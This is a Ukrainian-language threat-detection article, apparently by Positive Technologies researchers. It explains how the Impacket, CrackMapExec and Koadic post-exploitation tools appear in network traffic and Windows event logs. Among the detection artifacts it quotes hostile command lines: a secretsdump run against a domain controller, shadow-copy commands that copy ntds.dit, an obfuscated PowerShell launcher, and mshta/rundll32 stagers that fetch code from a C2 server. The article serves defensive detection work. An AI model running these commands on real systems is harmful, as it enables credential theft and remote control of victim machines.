Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів

З кожним роком зростає кількість атак у корпоративному секторі: наприклад у 2017 році зафіксували на 13% більше унікальних інцидентів ніж у 2016 р., а за підсумками 2018 — на 27% більше інцидентів, ніж у попередньому періоді У тому числі й тих, де основним робочим інструментом є операційна система Windows. У 2017-2018 роках угруповання APT Dragonfly, APT28, APT MuddyWater проводили атаки на урядові та військові організації Європи, Північної Америки та Саудівської Аравії. І використовували для цього три інструменти. Імпакет, CrackMapExec и Koadic. Їхній вихідний код відкритий і доступний на GitHub.

Ці інструменти використовуються не для первинного проникнення, а для розвитку атаки всередині інфраструктури. Зловмисники використовують їх у різних стадіях атаки, наступних після подолання периметра. Це, до речі, складно детектується і часто лише за допомогою технологій виявлення слідів компрометації у мережевому трафіку або інструментів, що дозволяють виявити активні дії зловмисника після проникнення його в інфраструктуру. Інструменти забезпечують безліч функцій - від передачі файлів до взаємодії з реєстром та виконання команд на віддаленій машині. Ми провели дослідження цих інструментів, щоб визначити їхню мережну активність.

Що нам потрібно було зробити:

  • Зрозуміти, як працює інструментарій хакерів. Дізнатися, що необхідно атакуючим для експлуатації та якими технологіями вони можуть скористатися.
  • Знайти те, що не детектується засобами інформаційної безпеки на перших стадіях атаки. Стадія розвідки може бути пропущена, або тому, що атакуючим виступає внутрішній зловмисник, або тому, що атакуючий користується проломом в інфраструктурі, про яку не було відомо раніше. З'являється можливість відновити весь ланцюжок його дій, звідси виникає бажання виявляти подальше пересування.
  • Усунути неправдиві спрацьовування засобів виявлення вторгнень. Не можна забувати і про те, що при виявленні тих чи інших дій на основі однієї лише розвідки можливі часті помилки. Зазвичай в інфраструктурі існує достатня кількість способів, які не відрізняються від легітимних на перший погляд, отримати будь-яку інформацію.

Що ж дають атакуючим ці інструменти? Якщо це Impacket, то зловмисники одержують велику бібліотеку модулів, які можна використовувати на різних стадіях атаки, наступних після подолання периметра. Багато інструментів використовують модулі Impacket у себе всередині – наприклад, Metasploit. У ньому є dcomexec і wmiexec для віддаленого виконання команд, secretsdump для отримання облікових записів з пам'яті, які додані з Impacket. Через війну правильне виявлення активності такий бібліотеки забезпечить виявлення похідних.

Про CrackMapExec (або просто CME) творці невипадково написали Powered by Impacket. Крім того, CME має готову функціональність для популярних сценаріїв: це і Mimikatz для отримання паролів або їх хешей, і впровадження Meterpreter або Empire agent для віддаленого виконання, і Bloodhound на борту.

Третій вибраний нами інструмент – Koadic. Він досить свіжий, був представлений на міжнародній конференції Хакера DEFCON 25 в 2017 році і відрізняється нестандартним підходом: роботою через HTTP, Java Script і Microsoft Visual Basic Script (VBS). Такий підхід називають living off the land: інструмент користується набором залежностей та бібліотек, вбудованих у Windows. Автори називають його COM Сommand & Сontrol, або С3.

IMPACKET

Функціональність Impacket дуже широка, починаючи від розвідки всередині AD і збору даних із внутрішніх серверів MS SQL, закінчуючи техніками для отримання облікових даних: це і атака SMB relay, і отримання з контролера домену ntds.dit файлу, що містить хеші паролів користувачів. Також Impacket віддалено виконує команди, використовуючи чотири різні способи: через WMI, сервіс для управління планувальником Windows, DCOM та SMB, і для цього йому потрібні облікові дані.

Secretsdump

Давайте розглянемо secretsdump. Це модуль, метою якого може бути як машини користувачів, і контролери домену. З його допомогою можна отримати копії областей пам'яті LSA, SAM, SECURITY, NTDS.dit, тому його можна побачити на різних стадіях атаки. Першим кроком у роботі модуля є автентифікація через SMB, для якої необхідний пароль користувача, або його хеш для автоматичного проведення атаки Pass the Hash. Далі йде запит на відкриття доступу до Service Control Manager (SCM) і отримання доступу до реєстру за протоколом winreg, використовуючи який атакуючий може дізнатися дані гілок, що цікавлять його, і отримати результати через SMB.

На рис. 1 ми бачимо, як саме під час використання протоколу winreg відбувається отримання доступу за ключом реєстру з LSA. Для цього використовується команда DCERPC із opcode 15 — OpenKey.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 1. Відкриття ключа реєстру за протоколом winreg

Далі, коли доступ по ключу отримано, відбувається збереження значень командою SaveKey із opcode 20. Impacket робить це дуже специфічно. Він зберігає значення файлу, ім'я якого — це рядок з 8 випадкових символів з додаванням .tmp. Крім того, подальше вивантаження цього файлу відбувається через SMB із директорії System32 (рис. 2).

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 2. Схема отримання ключа реєстру з віддаленої машини

Виходить, виявити подібну активність у мережі можна за запитами до певних гілок реєстру за протоколом winreg, специфічними іменами, командами та їх порядком.

Також цей модуль залишає сліди в журналі подій Windows, завдяки яким легко виявляється. Наприклад, у результаті виконання команди

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

у журналі Windows Server 2016 побачимо наступну ключову послідовність подій:

1. 4624 - віддалений Logon.
2. 5145 – перевірка прав доступу до віддаленого сервісу winreg.
3. 5145 - перевірка прав доступу до файлу в директорії System32. Файл має довільне ім'я, згадане вище.
4. 4688 - створення процесу cmd.exe, який запускає vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - створення процесу з командою:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - створення процесу з командою:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - створення процесу з командою:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Як і у багатьох інструментів для постексплуатації, Impacket має модулі для віддаленого виконання команд. Ми зупинимося на smbexec, що дає інтерактивну командну оболонку на віддаленій машині. Для цього модуля також потрібна автентифікація через SMB або паролем або його хеш. На рис. 3 ми бачимо приклад роботи такого інструменту, у разі це консоль локального адміністратора.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 3. Інтерактивна консоль smbexec

Першим етапом роботи smbexec після автентифікації є відкриття SCM командою OpenSCManagerW(15). Запит примітний: поле MachineName має значення DUMMY.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 4. Запит на відкриття Service Control Manager

Далі відбувається створення сервісу за допомогою команди CreateServiceW(12). У випадку smbexec ми можемо бачити щоразу однакову логіку побудови команди. На рис. 5 зеленим кольором відзначені незмінні параметри команди, жовтим - те, що атакуючий може змінити. Неважко помітити, що ім'я файлу, його директорію і файл output змінити можна, але що залишилося поміняти куди складніше, не порушуючи логіку роботи модуля Impacket.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 5. Запит на створення сервісу за допомогою Service Control Manager

Smbexec також залишає явні сліди у журналі подій Windows. У журналі Windows Server 2016 для інтерактивної командної оболонки з командою ipconfig побачимо таку ключову послідовність подій:

1. 4697 - встановлення сервісу на машині жертви:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - створення процесу cmd.exe з аргументами пункту 1.
3. 5145 – перевірка прав доступу до файлу __output у директорії C$.
4. 4697 - встановлення сервісу на машині жертви.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - створення процесу cmd.exe з аргументами пункту 4.
6. 5145 – перевірка прав доступу до файлу __output у директорії C$.

Impacket є основою розробки інструментів для атак. Він підтримує майже всі протоколи в інфраструктурі Windows і при цьому має свої характерні особливості. Тут і конкретні winreg-запити, і використання SCM API з характерним формуванням команд, формат імен файлів, і SMB share SYSTEM32.

CRACKMAPEXEC

Інструмент CME покликаний в першу чергу автоматизувати ті рутинні дії, які доводиться виконувати атакуючій для просування всередині мережі. Він дозволяє працювати у зв'язці з відомими Empire agent і Meterpreter. Щоб виконувати команди потай, CME може їх обфуцювати. Використовуючи Bloodhound (окремий інструмент проведення розвідки), атакуючий може автоматизувати пошук активної сесії доменного адміністратора.

Бладхаунд

Bloodhound як самостійний інструмент дозволяє вести розвинену розвідку всередині мережі. Він збирає дані про користувачів, машини, групи, сесії і поставляється у вигляді скрипта на PowerShell або бінарного файлу. Для збирання інформації використовуються LDAP або протоколи, що базуються на SMB. Інтеграційний модуль CME дозволяє завантажувати Bloodhound на машину жертви, запускати та отримувати зібрані дані після виконання, тим самим автоматизуючи дії в системі та роблячи їх менш помітними. Графічна оболонка Bloodhound представляє зібрані дані у вигляді графів, що дозволяє знайти найкоротший шлях від атакуючого машини до доменного адміністратора.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 6. Інтерфейс Bloodhound

Для запуску на машині жертви модуль створює завдання, використовуючи ATSVC та SMB. ATSVC є інтерфейсом для роботи з планувальником завдань Windows. CME використовує його функцію NetrJobAdd (1) для створення завдань мережі. Приклад того, що відправляє модуль CME, показано на рис. 7: це виклик команди cmd.exe та обфусцований код у вигляді аргументів у форматі XML.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Рис.7. Створення завдання через CME

Після того, як завдання надійшло на виконання, машина жертви запускає сам Bloodhound, і в трафіку це можна побачити. Для модуля характерні LDAP-запити для отримання стандартних груп, списку всіх машин і користувачів в домені, отримання інформації про активні сеанси користувача через запит SRVSVC NetSessEnum.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 8. Отримання списку активних сесій через SMB

Крім того, запуск Bloodhound на машині жертви з увімкненим аудитом супроводжується подією з ID 4688 (створення процесу) та ім'ям процесу «C:WindowsSystem32cmd.exe». Примітним у ньому є аргументи командного рядка:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Дуже цікавий з погляду функціональності та реалізації модуль enum_avproducts. WMI дозволяє за допомогою мови запитів WQL отримувати дані різних об'єктів Windows, ніж насправді і користується цей модуль CME. Він генерує запити до класів AntiSpywareProduct та AntiMirusProduct щодо засобів захисту, встановлених на машині жертви. Щоб отримати потрібні дані, модуль виконує підключення до простору імен rootSecurityCenter2, потім формує WQL-запит і отримує відповідь. На рис. 9 показано вміст таких запитів та відповідей. У прикладі знайшовся Windows Defender.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 9. Мережева активність модуля enum_avproducts

Найчастіше аудит WMI (Trace WMI-Activity), у подіях якого можна знайти корисну інформацію про WQL-запити, може бути вимкненим. Але якщо він увімкнений, то в разі запуску сценарію enum_avproducts збережеться подія з ID 11. У ньому буде вказано ім'я користувача, який надіслав запит, і ім'я у просторі імен rootSecurityCenter2.

У кожного з модулів CME виявилися свої артефакти, чи то специфічні WQL-запити, чи створення певного виду завдання у task scheduler з обфускацією та характерна для Bloodhound активність у LDAP та SMB.

KOADIC

Відмінною особливістю Koadic є використання вбудованих у Windows інтерпретаторів JavaScript та VBScript. У цьому сенсі він слідує тренду living off the land - тобто не має зовнішніх залежностей і користується стандартними засобами Windows. Це інструмент для повноцінного Command & Control (CnC), оскільки після зараження на машину встановлюється імплант, що дозволяє її контролювати. Така машина в термінології Koadic називається «зомбі». При нестачі привілеїв для повноцінної роботи на стороні жертви Koadic може їх підняти, використовуючи техніку обходу контролю облікових записів (UAC bypass).

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 10. Командна оболонка Koadic

Жертва має сама ініціювати спілкування із сервером Command & Control. Для цього їй необхідно звернутися за заздалегідь підготовленим URI та отримати основне тіло Koadic за допомогою одного зі стейджерів. На рис. 11 показаний приклад для стейджера MSHTA.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 11. Ініціалізація сесії із CnC-сервером

За змінною WS відповіді стає зрозумілим, що виконання відбувається через WScript.Shell, а змінні STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE містять ключову інформацію про параметри поточної сесії. Це перша пара запит-відповідь у HTTP-з'єднанні з CnC-сервером. Наступні запити пов'язані безпосередньо з функціональністю модулів (імплантів), що викликаються. Усі модулі Koadic працюють лише з активною сесією з CnC.

Мімікац

Як CME працює з Bloodhound, Koadic працює з Mimikatz як з окремою програмою і має кілька способів її запуску. Нижче наведена пара запит-відповідь для завантаження імпланту Mimikatz.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 12. Передача Mimikatz до Koadic

Можна помітити, як змінився формат URI у запиті. У ньому з'явилося значення змінної csrf, яка відповідає за вибраний модуль. Не звертайте увагу на її ім'я; ми знаємо, що під CSRF зазвичай розуміють інше. У відповідь прийшло все те саме основне тіло Koadic, до якого додався код, пов'язаний з Mimikatz. Він досить великий, тож розглянемо ключові моменти. Перед нами закодована в base64 бібліотека Mimikatz, серіалізований .NET-клас, який її інжектуватиме, та аргументи для запуску Mimikatz. Результат виконання передається по мережі у відкритому вигляді.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 13. Результат виконання Mimikatz на віддаленій машині

Exec_cmd

Koadic також має модулі, здатні віддалено виконувати команди. Тут ми побачимо той самий метод генерації URI і знайомі змінні sid і csrf. У разі модуля exec_cmd до тіла додається код, який здатний виконувати shell-команди. Нижче показаний такий код, що міститься в HTTP-відповіді CnC-сервера.

Як виявити атаки на Windows-інфраструктуру: вивчаємо інструментарій хакерів
Мал. 14. Код імпланту exec_cmd

Змінна GAWTUUGCFI із знайомим атрибутом WS необхідна для виконання коду. З її допомогою імплант викликає shell, обробляючи дві гілки коду – shell.exec з поверненням вихідного потоку даних та shell.run без повернення.

Koadic не є типовим інструментом, але має свої артефакти, за якими його можна знайти у легітимному трафіку:

  • особливе формування HTTP-запитів,
  • використання winHttpRequests API,
  • створення об'єкта WScript.Shell через ActiveXObject,
  • велике тіло, що виконується.

Спочатку з'єднання ініціює стейджер, тому з'являється можливість виявляти його активність через події Windows. Для mshta це подія 4688, яка говорить про створення процесу з атрибутом запуску:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Під час виконання Koadic можна побачити інші події 4688 з атрибутами, які відмінно його характеризують:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Висновки

Тренд living off the land набирає популярності серед зловмисників. Вони використовують вбудовані у Windows інструменти та механізми для своїх потреб. Ми бачимо, як популярні інструменти Koadic, CrackMapExec і Impacket, що наслідують цей принцип, все частіше зустрічаються у звітах про APT. Число форків на GitHub у цих інструментів також зростає, з'являються нові (зараз їх близько тисячі). Тренд набирає популярності через свою простоту: зловмисникам не потрібні сторонні інструменти, вони вже є на машинах жертв і допомагають обходити засоби захисту. Ми зосереджені на вивченні мережевої взаємодії: кожен описаний вище інструмент залишає свої сліди у мережевому трафіку; докладне їх вивчення дозволило нам навчити наш продукт PT Network Attack Discovery їх виявляти, що в результаті допомагає розслідувати весь ланцюжок кіберінцидентів за їх участю.

Автори:

  • Антон Тюрін, керівник відділу експертних сервісів, PT Expert Security Center, Positive Technologies
  • Єгор Підмоков, експерт, PT Expert Security Center, Positive Technologies

Джерело: habr.com

Додати коментар або відгук